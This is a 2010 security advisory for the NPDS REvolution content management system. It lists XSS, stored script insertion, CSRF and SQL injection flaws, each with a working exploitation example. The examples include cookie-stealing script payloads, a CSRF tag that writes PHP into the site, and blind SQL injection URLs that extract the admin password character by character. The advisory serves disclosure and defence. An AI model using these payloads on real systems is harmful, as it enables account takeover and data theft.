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Multiple Vulnerabilities in NPDS REvolution

Advisory ID:HTB22363
Product:NPDS REvolution
Vendor:NPDS
Vulnerable Versions:10.02 and probably prior
Tested Version:10.02
Advisory Publication:April 29, 2010 [without technical details]
Vendor Notification:April 29, 2010
Public Disclosure:May 13, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
Cross-Site Scripting [CWE-79]
Cross-Site Request Forgery [CWE-352]
SQL Injection [CWE-89]
Risk Level:High
CVSSv2 Base Scores:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
5 (AV:N/AC:L/Au:N/C:N/I:P/A:N)
7.6 (AV:N/AC:H/Au:N/C:C/I:C/A:C)
7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in NPDS REvolution which could be exploited to perform cross-site scripting (XSS), script insertion and CSRF attacks and execute arbitrary SQL commands in application`s database.

1) Cross-site scripting vulnerabilities in NPDS REvolution
1.1 The vulnerability exists due to input sanitation error in the "topic" parameter in /viewtopic.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
http://host/viewtopic.php?topic=3"><script>alert(document.cookie)</script>&f orum=1

1.2 The vulnerability exists due to input sanitation error in the "did" parameter in /download.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
http://host/download.php?op=geninfo&did=1%22%3E%3Cimg%20src=x%20onerror=aler t%28document.cookie%29%3E

2) Script insertion vulnerability in NPDS REvolution
An input sanitation error exists in the "theme" parameter in /stats.php. A remote attacker can insert arbitrary HTML and script code, which will be executed in user`s browser in context of the vulnerable website when the user views the malicious data.
Exploitation example:

For exploitation the following steps are required:
1. Visit the page http://host/user.php?op=chgtheme
2. Change the "theme" hidden field to the following value:
<script>alert(document.cookie)</script>
3. Submit the form.
4. Visit the http://host/stats.php page to see the code being executed.

3) Cross-site request forgery (CSRF) in NPDS REvolution
The vulnerability exists due to insufficient validation of the request origin in the "/admin.php" script. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and execute arbitrary PHP code on the target system with privileges of the webserver.
Exploitation example:
<img src="http://host/admin.php?op=ConfigFiles_save&Xtxt=<?+phpinfo()+?>&Xfiles=f ooter_after&confirm=1">

4) SQL injection vulnerability in NPDS REvolution
The vulnerability exists due to input sanitation error in the "sortby" parameter in /download.php. A remote attacker can send a specially crafted HTTP GET request to the vulnerable script and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in the database.
Exploitation examples:
http://host/download.php?dcategory=All&sortby=%28select%20did%20from%20autho rs+where+aid=char%2897,100,109,105, 110%29+and+substr%28pwd,1,1%29=char%2848%29%29+DESC--
http://host/download. php?dcategory=All&sortby=%28select%20did%20from%20authors+where+aid=char%289 7,100,109,105, 110%29+and+substr%28pwd,1,1%29=char%2849%29%29+DESC--
...
http://host/down load.php?dcategory=All&sortby=%28select%20did%20from%20authors+where+aid=cha r%2897,100,109,105, 110%29+and+substr%28pwd,1,1%29=char%2884%29%29+DESC--
....
http://host/dow nload.php?dcategory=All&sortby=%28select%20did%20from%20authors+where+aid=ch ar%2897,100,109,105, 110%29+and+substr%28pwd,2,1%29=char%2848%29%29+DESC--
...
http://host/down load.php?dcategory=All&sortby=%28select%20did%20from%20authors+where+aid=cha r%2897,100,109,105, 110%29+and+substr%28pwd,2,1%29=char%28101%29%29+DESC--
...
http://host/dow nload.php?dcategory=All&sortby=%28select%20did%20from%20authors+where+aid=ch ar%2897,100,109,105, 110%29+and+substr%28pwd,3,1%29=char%2852%29%29+DESC--
...

How to Detect Cross-Site Scripting Vulnerabilities
Website Security Test
  • GDPR & PCI DSS Test
  • Website CMS Security Test
  • CSP & HTTP Headers Check
  • WordPress & Drupal Scanning
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Solution:
Upgrade to the most recent version


References:
[1] High-Tech Bridge Advisory HTB22363 - https://www.immuniweb.com/advisory/HTB22363 - Multiple Vulnerabilities in NPDS REvolution
[2] NPDS REvolution - www.npds.org - NPDS REvolution is a content and community management system.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

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